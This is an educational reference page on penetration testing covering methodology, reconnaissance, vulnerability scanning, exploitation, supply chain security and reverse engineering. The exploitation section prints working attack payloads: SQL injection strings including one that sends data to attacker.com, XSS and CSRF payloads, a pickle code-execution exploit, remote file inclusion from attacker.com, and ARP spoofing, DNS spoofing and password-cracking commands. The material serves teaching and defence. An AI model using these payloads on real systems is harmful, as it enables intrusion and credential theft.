Penetration Testing and Attack Methodologies
1. Penetration Testing Overview
Section titled “1. Penetration Testing Overview”Definition. Penetration testing is an authorized, simulated attack against a system, network, or Application to identify exploitable vulnerabilities before adversaries do. The goal is not just Finding bugs — it is demonstrating impact and providing actionable remediation guidance.
Types of Penetration Testing
Section titled “Types of Penetration Testing”| Type | Tester Knowledge | Typical Use Case | Strength | Limitation |
|---|---|---|---|---|
| Black box | None provided | Realistic adversarial simulation | Tests detection and response | Time-consuming, may miss deep issues |
| White box | Full access | Thorough assessment of specific components | Comprehensive coverage | Does not test detection capabilities |
| Gray box | Partial (user) | Balanced assessment with realistic constraints | Efficient, realistic, focused testing | May miss some attack vectors |
Black box testing simulates an external attacker with no internal knowledge. The tester must Discover everything from scratch, which makes it the most realistic but also the most expensive in Terms of time. White box testing provides source code, credentials, architecture diagrams, and Network maps, enabling deeper analysis. Gray box provides limited credentials (e.g., a standard user Account) and partial documentation, striking a balance between realism and thoroughness.
Testing Methodologies
Section titled “Testing Methodologies”| Methodology | Full Name | Focus Area | Key Characteristic |
|---|---|---|---|
| OWASP | Open Web Application Security Project | Web applications | Risk-based, community-driven, widely adopted |
| PTES | Penetration Testing Execution Standard | Full-scope engagements | Detailed phases, technical depth |
| OSSTMM | Open Source Security Testing Methodology | Comprehensive security | Metrics-driven, measures operational security |
| NIST SP 800-115 | Technical Guide to Information Security Testing | Federal/compliance | Process-oriented, aligned with FISMA |
| ISSAF | Information Systems Security Assessment Framework | Broad IT security | Detailed checklist approach |
OWASP Testing Guide is the de facto standard for web application testing. It organizes tests Into information gathering, configuration management, identity management, authentication, Authorization, session management, input validation, error handling, cryptography, and business Logic.
PTES defines seven phases: pre-engagement, intelligence gathering, threat modeling, Vulnerability analysis, exploitation, post-exploitation, and reporting. Each phase has specific Technical requirements that must be met before progressing.
OSSTMM focuses on measuring the operational security of systems through a scientifically Rigorous methodology. It produces a Security Metrics Index (SMI) that quantifies security posture.
Engagement Lifecycle
Section titled “Engagement Lifecycle”Scoping --> Recon --> Enumeration --> Vulnerability Analysis |Post-Exploitation <-- Exploitation <------------+ | v Reporting --> Remediation Support --> RetestScoping defines what is in scope (IP ranges, applications, functionality, testing windows), what Is out of scope (production databases, third-party systems, social engineering), rules of engagement (can the tester cause denial of service, can they attempt privilege escalation), and communication Procedures (how to report critical findings immediately).
Reconnaissance gathers information about the target through passive and active means.
Enumeration actively queries systems to identify services, versions, users, and configuration Details.
Vulnerability Analysis correlates enumeration data with known vulnerabilities and identifies Potential attack vectors.
Exploitation attempts to exploit identified vulnerabilities to demonstrate real-world impact.
Post-Exploitation explores what an attacker could do after gaining initial access — Persistence, lateral movement, data access.
Reporting documents findings with severity, impact, reproduction steps, and remediation Guidance.
Rules of Engagement
Section titled “Rules of Engagement”Rules of engagement are a binding contract between the testing team and the client. They must be Documented and signed before testing begins.
Mandatory elements:- Authorized IP ranges / domains / applications- Testing window (start/end times, time zones)- Points of contact (technical, management, emergency)- Out-of-scope systems (explicitly listed)- Prohibited actions (DoS, social engineering, physical access)- Data handling requirements (no exfiltration of PII)- Incident response procedures (if systems are impacted)- Status reporting cadence (daily standup, weekly summary)- Critical finding escalation process (immediate notification)Always get written authorization before testing. A verbal agreement or a vague email is not Sufficient. The authorization should specify scope, duration, and rules of engagement. Testing Without explicit written authorization is illegal in most jurisdictions regardless of intent.
Legal Considerations
Section titled “Legal Considerations”Penetration testing operates in a legal gray area that varies by jurisdiction. Key legal frameworks Include:
- United States: Computer Fraud and Abuse Act (CFAA) — 18 U.S.C. Section 1030. Unauthorized access is a federal crime. Written authorization is the primary defense.
- United Kingdom: Computer Misuse Act 1990. Similar to CFAA, criminalizes unauthorized access.
- European Union: Varies by member state but generally follows the Budapest Convention on Cybercrime.
- Australia: Criminal Code Act 1995, Section 477.1.
The authorization document should reference the specific systems, dates, and testers by name. Retain Copies of all communication and authorization documents.
2. Reconnaissance
Section titled “2. Reconnaissance”Reconnaissance is the systematic collection of information about a target. It is the most critical Phase because the quality of intelligence gathered directly determines the effectiveness of Subsequent phases.
Passive Reconnaissance
Section titled “Passive Reconnaissance”Passive reconnaissance collects information without directly interacting with the target system. The Target has no way of knowing it is being observed.
OSINT (Open Source Intelligence)
Section titled “OSINT (Open Source Intelligence)”Open source intelligence leverages publicly available information to build a comprehensive picture Of the target.
| Source | Information Gathered | Tools |
|---|---|---|
| WHOIS | Registration details, name servers, registrant contacts | whoisARIN, RIPE, APNIC |
| DNS Records | Subdomains, mail servers, IP mappings, TXT records | dig``dnsrecon``subfinder |
| Search Engines | Indexed pages, exposed documents, cached content | Google dorking, Shodan, Censys |
| Social Media | Employee names, roles, technology stack, office locations | LinkedIn, GitHub, Twitter/X |
| Job Postings | Technology requirements, infrastructure details | Indeed, LinkedIn Jobs, Greenhouse |
| Code Repositories | Leaked credentials, API keys, internal URLs, architecture | GitHub, GitLab, Bitbucket |
| Document Metadata | Author names, software versions, internal paths | exiftoolFOCA, Metagoofil |
| Certificate Logs | Subdomains, organizational structure | crt.sh, Censys Certificate Search |
| Pastebin/Leaks | Exposed credentials, API keys, configuration files | paste-bin-searchHaveIBeenPwned |
DNS Enumeration
Section titled “DNS Enumeration”DNS is one of the richest sources of passive intelligence. A single domain can reveal hundreds of Subdomains, each representing a potential attack surface.
# Basic DNS lookupdig example.com ANYdig example.com MXdig example.com TXTdig example.com NS
# Zone transfer attempt (rarely works but worth checking)dig axfr example.com @ns1.example.com
# Subdomain enumeration with brute forcednsrecon -d example.com -t brt -D /usr/share/wordlists/dns.txt
# Passive subdomain discoverysubfinder -d example.com -silent
# Certificate transparency log searchcurl -s "https://crt.sh/?q=%.example.com&output=json" | jq -r ".[].name_value' | sort -uDNS zone transfers are rarely allowed on public-facing DNS servers anymore, but always check. A Successful zone transfer reveals the complete internal DNS structure in a single request. Many Organizations still misconfigure internal DNS servers to allow transfers.
Google Dorking
Section titled “Google Dorking”Google dorking uses advanced search operators to find sensitive information indexed by search Engines.
| Operator | Purpose | Example |
|---|---|---|
site: | Limit results to a domain | site:example.com filetype:pdf |
filetype: | Search for specific file types | site:example.com filetype:env |
inurl: | Search for URLs containing text | inurl:admin site:example.com |
intitle: | Search for pages with specific title | intitle:"index of" site:example.com |
intext: | Search for text within pages | intext:"password" filetype:log |
ext: | File extension | ext:sql site:example.com |
cache: | View cached version of a page | cache:example.com/admin |
link: | Pages linking to a URL | link:example.com |
Common high-value dorks:
# Configuration filessite:example.com filetype:env OR filetype:yml OR filetype:confsite:example.com filetype:logsite:example.com filetype:sql
# Exposed directoriesintitle:"index of" site:example.comintitle:"directory listing" site:example.com
# Login portalsinurl:login site:example.cominurl:admin site:example.com
# Git repositoriesinurl:".git" site:example.com
# Backup filessite:example.com filetype:bak OR filetype:old OR filetype:swp
# Error messages revealing technology"stack trace" site:example.com"sql syntax" site:example.com"warning:" site:example.com filetype:phpShodan and IoT Reconnaissance
Section titled “Shodan and IoT Reconnaissance”Shodan is a search engine for internet-connected devices. It scans the entire IPv4 space Continuously and indexes services, banners, and configurations.
# Search for specific servicesshodan search "apache" country:USshodan search "port:3389" country:DEshodan search "default password" product:nginx
# Search for specific vulnerabilitiesshodan search "vuln:CVE-2021-44228"shodan search "ssl.cert.subject.CN:example.com"
# Find exposed industrial control systemsshodan search "Modbus" port:502shodan search "Siemens" port:102SNMPv1 and SNMPv2c transmit community strings in cleartext. Even if you change the community string From “public” to something else, anyone who can capture network traffic can read it. Use SNMPv3 with Authentication and encryption if SNMP is required.
3. Vulnerability Assessment
Section titled “3. Vulnerability Assessment”Automated Scanning
Section titled “Automated Scanning”Automated vulnerability scanners compare system configurations and service versions against Databases of known vulnerabilities.
| Scanner | Type | License | Strengths |
|---|---|---|---|
| Nessus | Network/app | Commercial | Comprehensive plugin library, compliance checks |
| OpenVAS | Network/app | Open source | Free alternative to Nessus, Greenbone feed |
| Nikto | Web server | Open source | Web server misconfiguration detection |
| OWASP ZAP | Web application | Open source | Active/passive scanning, API testing |
| Burp Suite | Web application | Commercial | Intercepting proxy, extensibility |
| Trivy | Container/filesystem | Open source | CI/CD integration, SBOM generation |
| Grype | Container/filesystem | Open source | Fast vulnerability matching |
| Semgrep | SAST | Open source | Custom rules, multi-language support |
# OpenVAS / Greenbonegvm-setupgvm-start# Access web interface at https://127.0.0.1:9392
# Nikto web server scannikto -h http://10.0.0.1nikto -h https://10.0.0.1 -ssl -Tuning x 6
# Trivy container scantrivy image nginx:latesttrivy fs /path/to/applicationtrivy repo https://github.com/example/app
# Semgrep SAST scansemgrep --config auto /path/to/sourcesemgrep --config p/ci /path/to/sourceManual Testing
Section titled “Manual Testing”Automated scanners find known vulnerabilities in known software. Manual testing finds unknown Vulnerabilities, logic flaws, and chained attacks that scanners cannot detect.
When to use manual testing:- Business logic flaws (e.g., negative quantity orders, race conditions in payments)- Chained vulnerabilities (e.g., XSS + CSRF for account takeover)- Authentication/authorization edge cases- API testing beyond what scanners cover- Cryptographic implementation flaws- Session management issues- Custom protocol testingCVSS Scoring
Section titled “CVSS Scoring”The Common Vulnerability Scoring System (CVSS) v3.1 provides a standardized framework for rating Vulnerability severity.
| Metric | Values | Description |
|---|---|---|
| Attack Vector | Network / Adjacent / Local / Physical | How the vulnerability is exploited |
| Attack Complexity | Low / High | How complex the attack is |
| Privileges Required | None / Low / High | Privileges needed before exploitation |
| User Interaction | None / Required | Whether user action is needed |
| Scope | Unchanged / Changed | Does exploitation affect other components |
| Confidentiality | None / Low / High | Impact on data confidentiality |
| Integrity | None / Low / High | Impact on data integrity |
| Availability | None / Low / High | Impact on system availability |
| CVSS Score | Severity | Typical Response Time |
|---|---|---|
| 0.0 | None | Informational |
| 0.1 - 3.9 | Low | Next release cycle |
| 4.0 - 6.9 | Medium | 30 days |
| 7.0 - 8.9 | High | 7 days |
| 9.0 - 10.0 | Critical | 24-48 hours |
CVSS is a measure of technical severity, not business risk. A CVSS 9.8 vulnerability on an internal Development server is less risky than a CVSS 7.5 vulnerability on an internet-facing authentication Service. Always combine CVSS with business context when prioritizing remediation.
False Positive Analysis
Section titled “False Positive Analysis”Every vulnerability finding must be validated before reporting. False positives erode trust and Waste resources.
False positive reduction strategies:1. Manual verification of every finding2. Check the exact version (not just "Apache 2.x" but "Apache 2.4.51")3. Test the exploit against the actual system4. Check for compensating controls (WAF, IPS)5. Verify the vulnerability is reachable (not blocked by network segmentation)6. Cross-reference multiple sources (NVD, vendor advisory, exploit-db)4. Exploitation
Section titled “4. Exploitation”Web Application Attacks
Section titled “Web Application Attacks”SQL Injection
Section titled “SQL Injection”SQL injection occurs when user input is incorporated into SQL queries without proper sanitization or Parameterization.
Injection types:1. Error-based: Extract data through database error messages2. Union-based: Append UNION SELECT to extract additional data3. Boolean-based blind: Infer data by observing true/false responses4. Time-based blind: Infer data by observing response delays5. Stacked queries: Execute multiple statements (limited by database)6. Out-of-band: Extract data via DNS or HTTP channels# Error-based injection' OR 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
# Union-based injection' UNION SELECT username, password, NULL FROM users--
# Boolean-based blind' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE role='admin')='a'--
# Time-based blind'; IF (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a' WAITFOR DELAY '0:0:5'--
# Out-of-band (Microsoft SQL Server)'; DECLARE @q VARCHAR(1024); SET @q='\\'+(SELECT TOP 1 password FROM users)+'.attacker.com\a';EXEC master..xp_dirtree @q--# SQLMap -- the standard automated SQL injection toolsqlmap -u "http://target.com/page?id=1" --dbssqlmap -u "http://target.com/page?id=1" -D dbname --tablessqlmap -u "http://target.com/page?id=1" -D dbname -T users --dumpsqlmap -u "http://target.com/page?id=1" --cookie="session=abc123" --level=5 --risk=3sqlmap -r request.txt # Read parameters from a captured request fileCross-Site Scripting (XSS)
Section titled “Cross-Site Scripting (XSS)”| Type | Context | Storage | Impact |
|---|---|---|---|
| Reflected | URL parameters | None | Session hijacking, phishing |
| Stored | Database, file | Persistent | Mass compromise, defacement |
| DOM-based | Client-side JS | None | Client-side logic manipulation |
XSS payload categories:- Basic: <script>alert(1)</script>- Event handler: <img src=x onerror=alert(1)>- SVG: <svg onload=alert(1)>- Template injection: {{constructor('alert(1)')()}}- Attribute breakout: " onfocus=alert(1) autofocus="- Encoded: %3Cscript%3Ealert(1)%3C/script%3E- Polyglot: jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//Cross-Site Request Forgery (CSRF)
Section titled “Cross-Site Request Forgery (CSRF)”CSRF tricks an authenticated user into executing unwanted actions on a web application where they Are already authenticated.
<!-- Attacker's page that submits a form to the target --><form action="https://bank.example.com/transfer" method="POST" id="csrf"> <input type="hidden" name="to" value="attacker_account" /> <input type="hidden" name="amount" value="10000" /></form><script> document.getElementById('csrf').submit();</script>Defenses:
- Synchronizer Token Pattern (CSRF tokens)
- SameSite cookie attribute (
StrictorLax) - Referer/Origin header validation
- Custom request headers (XHR/Fetch cannot set without CORS)
Server-Side Request Forgery (SSRF)
Section titled “Server-Side Request Forgery (SSRF)”SSRF occurs when an attacker can make the server send requests to arbitrary destinations.
Common SSRF targets:- Cloud metadata endpoints (169.254.169.254, fd00:ec2::254)- Internal network services (Redis on 6379, memcached on 11211)- Internal web applications and admin panels- Network infrastructure (routers, switches, firewalls)- File systems via file:// protocol- DNS rebinding to bypass allowlistsSSRF bypass techniques:- IP encoding: 127.0.0.1 = 0x7f000001 = 2130706433 = 0177.0.0.1- DNS rebinding: resolve to internal IP after allowlist check- URL parsing tricks: http://allowed@internal:80/- Redirect chains: http://allowed.com -> http://internal:80/- IPv6: ::1, ::ffff:127.0.0.1- Alternative metadata URLs: http://metadata.google.internal/Insecure Deserialization
Section titled “Insecure Deserialization”# Python pickle deserialization -- arbitrary code executionimport pickle, os
class Exploit(object): def __reduce__(self): return (os.system, ('id > /tmp/pwned',))
payload = pickle.dumps(Exploit())# When the server unpickles this: pickle.loads(payload) -> runs 'id'// Java deserialization with Commons Collections// ysoserial generates payloads that exploit gadget chainsjava -jar ysoserial.jar CommonsCollections1 'id' > payload.bin// Send payload to a Java RMI, JMX, or other deserializing endpointPath Traversal and File Inclusion
Section titled “Path Traversal and File Inclusion”Path traversal sequences:- ../ (Unix and Windows)- ..\ (Windows)- ....// (double encoding bypass)- %2e%2e%2f (URL encoding)- %252e%252e%252f (double URL encoding)- ..%c0%af (Unicode encoding)
File inclusion types:- Local File Inclusion (LFI): include($_GET['file'])- Remote File Inclusion (RFI): include('http://attacker.com/shell.php')- PHP wrapper abuse: php://filter/convert.base64-encode/resource=index.phpNetwork Attacks
Section titled “Network Attacks”Man-in-the-Middle (MITM)
Section titled “Man-in-the-Middle (MITM)”MITM prerequisites:1. Position between client and server (same network, BGP hijack, DNS compromise)2. Ability to intercept traffic (ARP spoofing, rogue access point, compromised switch)3. Ability to redirect traffic (ARP spoofing, DNS spoofing, route manipulation)# ARP spoofing with arpspoofarpspoof -i eth0 -t 10.0.0.5 10.0.0.1 # Poison victim's ARP cache for gatewayarpspoof -i eth0 -t 10.0.0.1 10.0.0.5 # Poison gateway's ARP cache for victimecho 1 > /proc/sys/net/ipv4/ip_forward # Enable IP forwarding
# Bettercap (modern alternative)bettercap -iface eth0set arp.spoof.targets 10.0.0.5arp.spoof onnet.sniff onARP Spoofing
Section titled “ARP Spoofing”ARP spoofing exploits the fact that ARP is stateless and does not verify the identity of responding Hosts. An attacker sends forged ARP responses to associate their MAC address with the target’s IP Address.
Detection methods:1. Static ARP entries (impractical at scale)2. ARP monitoring tools (arpwatch, XArp)3. Port security on switches (MAC limiting)4. Dynamic ARP Inspection (DAI) on managed switches5. Network segmentation to limit broadcast domainsDNS Spoofing
Section titled “DNS Spoofing”# DNS spoofing with bettercapset dns.spoof.domains target.comset dns.spoof.address 10.0.0.100 # Attacker's IPdns.spoof on
# DNS spoofing with dnsspoofdnsspoof -i eth0 -f hosts.txt# hosts.txt: 10.0.0.100 target.comAuthentication Attacks
Section titled “Authentication Attacks”| Attack Type | Description | Tools |
|---|---|---|
| Brute Force | Try every possible combination | Hydra, Medusa, Patator |
| Credential Stuffing | Use leaked username/password pairs | Sentry MBA, Snipr |
| Password Spraying | Try a few common passwords against many accounts | CrackMapExec, SprayingToolkit |
| Dictionary Attack | Try words from a wordlist | John the Ripper, Hashcat |
| Rainbow Tables | Precomputed hash lookups | RainbowCrack, Ophcrack |
# Hydra -- online brute forcehydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.1hydra -L users.txt -P passwords.txt http-post-form://10.0.0.1 "/login:user=^USER^&pass=^PASS^:Failed"
# CrackMapExec -- password sprayingcrackmapexec smb 10.0.0.0/24 -u users.txt -p 'Summer2024!' --continue-on-success
# Hashcat -- offline hash crackinghashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # MD5hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # NTLMhashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt # bcrypt
# John the Ripper -- offline hash crackingjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txtjohn --show hash.txtThe most effective social engineering defense is a culture where employees feel comfortable Reporting suspicious activity without fear of punishment. If an employee clicks a phishing link, the Response should be “thank you for reporting it” not “how could you be so careless.” Blame-driven Cultures suppress reporting, which means real attacks go undetected longer.
7. Supply Chain Security
Section titled “7. Supply Chain Security”Definition. A software supply chain attack targets the dependencies, build systems, or Distribution channels of software rather than the software itself. The attacker compromises a Trusted component, and that compromise propagates to every downstream consumer.
Dependency Attacks
Section titled “Dependency Attacks”Typosquatting
Section titled “Typosquatting”Typosquatting registers package names that are common misspellings of popular packages. When Developers mistype a package name, they install the attacker’s package instead.
Example typosquatting targets:- "reqeusts" instead of "requests" (Python)- "lodssh" instead of "lodash" (JavaScript)- "cross-env" -> "cross-env.js" (JavaScript, empty package with name collision)- "python3-dateutil" instead of "python-dateutil" (Python)
Detection:- Use dependency lockfiles (package-lock.json, Pipfile.lock, Cargo.lock)- Review new dependencies before adding them- Monitor package registries for packages with similar names- Use tools like `npm audit`, `pip-audit`, `cargo audit`Dependency Confusion
Section titled “Dependency Confusion”Dependency confusion exploits package managers that check both public and private registries. An Attacker publishes a higher-versioned package on the public registry with the same name as an Internal package.
Attack flow:1. Developer's project depends on "internal-utils" version 1.0.0 (private registry)2. Attacker publishes "internal-utils" version 99.0.0 on public registry (npm/PyPI)3. Package manager resolves to the public version (higher version number)4. Developer's build now includes attacker's code
Mitigations:- Configure package managers to prefer private registries (npm: .npmrc, pip: --index-url)- Use scoped packages (npm @company/package)- Implement package allowlists- Monitor public registries for internal package names- Use SLSA framework for build provenanceMaintainer Compromise
Section titled “Maintainer Compromise”Attackers gain access to a legitimate maintainer’s account and publish malicious versions of trusted Packages.
Attack vectors:- Credential theft of maintainer accounts- Social engineering of maintainers- Adding malicious committers to trusted projects- Compromising package registry accounts- Supply chain insider threat (malicious maintainer)
Mitigations:- Require 2FA for all package registry accounts- Require multiple reviewers before publishing- Package provenance verification (SLSA, sigstore)- Monitor package contents for changes (diff published versions)- Pin exact versions in production- Use private registries with curated packagesCI/CD Pipeline Attacks
Section titled “CI/CD Pipeline Attacks”CI/CD attack surfaces:1. Compromised build scripts: Malicious code in build.gradle, Makefile, Dockerfile2. Poisoned build agents: Malicious runner images, compromised build servers3. Secret exfiltration: Stealing CI/CD secrets (API keys, signing keys) from environment4. Dependency substitution: Replacing dependencies during build with malicious versions5. Build logic manipulation: Modifying CI pipeline definitions to inject malicious steps6. Artifact tampering: Modifying build artifacts after generation but before deployment7. PR-based attacks: Malicious pull requests that modify CI/CD configuration8. Workflow injection: GitHub Actions injection via self-hosted runner exploitationCI/CD hardening:- Use ephemeral, immutable build agents (containers)- Least-privilege service accounts for CI/CD- Sign build artifacts with provenance attestations- Pin action versions in GitHub Actions (use SHA, not tags)- Separate build and deployment credentials- Review all CI/CD configuration changes with same rigor as application code- Use OIDC federation instead of stored secrets where possible- Audit CI/CD logs regularlyCode Signing Attacks
Section titled “Code Signing Attacks”Attack types:1. Code signing key theft: Stealing the private key used for signing2. Signing infrastructure compromise: Compromising the build server that holds the key3. Malicious signing: Insider signs malicious code with valid certificate4. Certificate authority compromise: Compromising the CA that issues certificates5. Signature stripping: Removing or replacing signatures6. Timestamp forgery: Manipulating code signing timestampsSoftware Bill of Materials (SBOM)
Section titled “Software Bill of Materials (SBOM)”Definition. A Software Bill of Materials is a formal record of the components and dependencies That make up a software package. It enables organizations to quickly identify affected systems when A vulnerability is discovered in a dependency.
SBOM standards:- SPDX (Software Package Data Exchange): ISO standard, widely adopted- CycloneDX: OWASP project, JSON/XML, lightweight
SBOM contents:1. Component name and version2. Component supplier/author3. Component hash (SHA-256 or similar)4. Dependency relationships5. License information6. Vulnerability references (CVEs)
Tools:- Syft (Anchore): Generate SBOMs from container images and filesystems- Trivy: Generate SBOMs as part of vulnerability scanning- SPDX Tool: Generate and validate SPDX documents- Dependency-Track: Manage and monitor SBOMs at scaleProvenance Verification (SLSA)
Section titled “Provenance Verification (SLSA)”The Supply-chain Levels for Software Artifacts (SLSA) framework defines a series of security levels That describe the integrity guarantees of a software supply chain.
| Level | Name | Requirements |
|---|---|---|
| 0 | No provenance | No guarantees, build process is not documented |
| 1 | Documented | Build process is documented, provenance exists |
| 2 | Hosted | Build runs on hosted build service, provenance is authenticated |
| 3 | Provenance | Build is reproducible, non-falsifiable provenance |
| 4 | Hermetic | Two-party review, hermetic build, reproducible |
# sigstore/Cosign -- signing and verifying container imagescosign sign --key cosign.key registry.example.com/myapp:v1.0.0cosign verify --key cosign.pub registry.example.com/myapp:v1.0.0
# SLSA provenance with GitHub Actions# .github/workflows/build.yml# uses: slsa-framework/slsa-github-generator/.github/workflows/generator_generic_slsa3.yml
# Verify SLSA provenanceslsa-verifier verify-image registry.example.com/myapp:v1.0.0 \ --source-uri github.com/example/myappDependency Auditing Tools
Section titled “Dependency Auditing Tools”# npmnpm audit # Check for known vulnerabilitiesnpm audit fix # Automatically fix vulnerabilitiesnpm audit signatures # Verify package signatures
# Pythonpip-audit # Check installed packages against vulnerability DBsafety check --full-report # Safety CLI for dependency checking
# Rustcargo audit # Check Cargo.lock against RustSec advisory DB
# Gogovulncheck ./... # Check Go code and dependencies for vulnerabilities
# Javamvn org.owasp:dependency-check-maven:checkgradle dependencyCheckAnalyze
# Container imagestrivy image myapp:latestgrype myapp:latestNotable Supply Chain Incidents
Section titled “Notable Supply Chain Incidents”| Incident | Year | Attack Vector | Impact |
|---|---|---|---|
| SolarWinds | 2020 | Build system compromise, malicious update | 18,000+ organizations, US government agencies |
| Codecov | 2021 | CI/CD script tampering | Hundreds of customers’ CI/CD secrets exposed |
| event-stream | 2018 | Malicious maintainer addition | Bitcoin wallet stealing from Copay users |
| ua-parser-js | 2021 | Maintainer account compromise | npm package with malware, 7M+ weekly downloads |
| colors.js/faker | 2022 | Protest/malicious update | Non-malicious but broke builds (protestware) |
| xz-utils | 2024 | Long-term social engineering, backdoor in liblzma | Nearly compromised SSH on Linux systems |
SolarWinds Attack (2020)
Section titled “SolarWinds Attack (2020)”Attack timeline:1. Attacker gained access to SolarWinds build environment (months before detection)2. Injected malicious code into Orion build process (SUNBURST backdoor)3. Signed malicious updates with valid SolarWinds code signing certificate4. Distributed to ~18,000 customers via automatic update mechanism5. Backdoor provided persistent access to victim networks6. Attacker selectively escalated access on high-value targets
Key lessons:- Build environment security is as important as application security- Code signing does not guarantee code is safe (signing key was legitimate)- Automatic updates are a high-trust operation- Supply chain attacks can bypass virtually all perimeter defenses- Need for build provenance and reproducible buildsxz-utils Backdoor (2024)
Section titled “xz-utils Backdoor (2024)”Attack timeline:1. "Jia Tan" (pseudonymous maintainer) contributed to xz-utils over 2+ years2. Built trust and social-engineered original maintainer (Lasse Collin) into reducing involvement3. Pushed malicious changes to liblzma build system (configure scripts, test files)4. Backdoor modified the RSA public key verification in OpenSSH's authentication path5. Only activated when linked by specific systemd configurations (distribution-dependent)6. Discovered by Andres Freund noticing ~500ms latency in SSH connections on Debian sid7. Backdoor was present in xz-utils 5.6.0 and 5.6.1 (beta/rc releases)
Key lessons:- Open source maintainer burnout is a security risk- Long-term social engineering can be more effective than technical exploits- Obfuscated build scripts (m4 macro injection) are hard to review- Performance anomalies can be the first indicator of compromise- Single-maintainer projects with critical infrastructure dependencies are high-risk- Need for reproducible builds and deterministic compilationThe xz-utils incident is particularly significant because it was caught by accident — a developer Noticed a 500ms latency in SSH connections and investigated. Without that observation, the backdoor Could have reached stable releases of major Linux distributions, compromising SSH authentication Worldwide. This underscores the importance of reproducible builds and independent verification of Build artifacts.
8. Reverse Engineering Basics
Section titled “8. Reverse Engineering Basics”Static Analysis
Section titled “Static Analysis”Static analysis examines a binary without executing it. It extracts information from the binary’s Structure, instructions, and data.
Disassembly Tools
Section titled “Disassembly Tools”| Tool | License | Platform | Key Features |
|---|---|---|---|
| Ghidra | Open source | Cross-platform | NSA-developed, decompiler, scripting (Java/Python), collaborative |
| IDA Pro | Commercial | Windows/Linux/macOS | Industry standard, Hex-Rays decompiler, extensive plugin ecosystem |
| radare2 | Open source | Cross-platform | CLI-first, scripting (r2pipe), binary analysis framework |
| Binary Ninja | Commercial | Cross-platform | Modern UI, API-first design, MLIL/HLIL decompilation |
| Cutter | Open source | Cross-platform | GUI for radare2, user-friendly interface |
| objdump | GNU | Linux | Basic disassembly, part of binutils |
| readelf | GNU | Linux | ELF file analysis, section/header inspection |
# Ghidra headless analysisanalyzeHeadless /tmp/project myproject -import target_binary -postScript analyze.py
# radare2 basic analysisr2 -A target_binary # Open with auto-analysisr2 -q -c "aaa; pdf @main" target_binary # Analyze and disassemble main function
# objdump disassemblyobjdump -d target_binary | lessobjdump -t target_binary # Symbol tableobjdump -h target_binary # Section headers
# readelf ELF analysisreadelf -h target_binary # ELF headerreadelf -S target_binary # Section headersreadelf -s target_binary # Symbol tablereadelf -r target_binary # Relocation entriesreadelf -l target_binary # Program headers (segments)
# Strings extractionstrings target_binary | grep -i "password\|key\|secret\|token"strings -t x target_binary # With hex offsetsDecompilation
Section titled “Decompilation”Decompilation transforms low-level assembly or intermediate representation back into higher-level Pseudocode that resembles C or C++.
Decompilation challenges:1. Lost type information: All variables become integers or pointers2. Lost structure: Control flow is preserved but high-level abstractions are gone3. Compiler optimizations: Inlining, loop unrolling, dead code elimination obscure logic4. Obfuscation: Control flow flattening, string encryption, virtualization5. Anti-decompilation: Checks for debuggers, integrity checks on code sectionsDynamic Analysis
Section titled “Dynamic Analysis”Dynamic analysis executes the binary in a controlled environment and observes its behavior.
Debugging with GDB
Section titled “Debugging with GDB”# Basic GDB usagegdb ./target_binary(gdb) break main # Set breakpoint at main(gdb) break *0x400500 # Set breakpoint at address(gdb) run # Start execution(gdb) step # Step into function(gdb) next # Step over function(gdb) continue # Continue to next breakpoint(gdb) info registers # Show register values(gdb) x/16xb $rsp # Examine 16 bytes at stack pointer(gdb) x/s 0x400600 # Examine string at address(gdb) set $eax = 0 # Modify register(gdb) call function_name() # Call a function(gdb) info functions # List all functions(gdb) disas main # Disassemble function(gdb) backtrace # Show call stack(gdb) info proc mappings # Show memory mappingsSystem Call Tracing
Section titled “System Call Tracing”# strace -- trace system callsstrace ./target_binarystrace -f ./target_binary # Follow child processesstrace -e trace=network ./target_binary # Only network syscallsstrace -e trace=open,openat,read,write ./target_binarystrace -p <PID> # Attach to running process
# ltrace -- trace library callsltrace ./target_binaryltrace -e "strcpy*+printf*" ./target_binaryltrace -C ./target_binary # Count library callsBinary Formats
Section titled “Binary Formats”ELF (Executable and Linkable Format)
Section titled “ELF (Executable and Linkable Format)”ELF is the standard binary format on Linux and most Unix-like systems.
ELF structure:┌─────────────────────────┐│ ELF Header │ Magic number, class, architecture, entry point├─────────────────────────┤│ Program Headers │ Memory layout for loader (segments)├─────────────────────────┤│ .text │ Executable code│ .rodata │ Read-only data (strings, constants)│ .data │ Initialized global/static variables│ .bss │ Uninitialized global/static variables│ .got │ Global Offset Table (runtime address resolution)│ .plt │ Procedure Linkage Table (lazy function calls)│ .symtab │ Symbol table│ .strtab │ String table│ .rela/.rel │ Relocation entries│ .dynamic │ Dynamic linking information├─────────────────────────┤│ Section Headers │ Describe sections (names, types, offsets)└─────────────────────────┘PE (Portable Executable)
Section titled “PE (Portable Executable)”PE is the executable format on Windows.
PE structure:┌─────────────────────────┐│ DOS Header │ MZ magic, points to PE header├─────────────────────────┤│ PE Signature │ "PE\0\0"├─────────────────────────┤│ COFF File Header │ Machine type, number of sections, timestamp├─────────────────────────┤│ Optional Header │ Entry point, image base, subsystem, data directories│ - Import Table │ DLLs and functions this binary imports│ - Export Table │ Functions this binary exports│ - Resource Table │ Icons, dialogs, strings│ - Base Relocations │ Address fixups for ASLR│ - IAT │ Import Address Table (resolved import addresses)│ - TLS Callbacks │ Thread-local storage initialization├─────────────────────────┤│ Section Headers │ .text, .data, .rdata, .rsrc, etc.├─────────────────────────┤│ Sections │ Raw section data└─────────────────────────┘Mach-O
Section titled “Mach-O”Mach-O is the executable format on macOS and iOS.
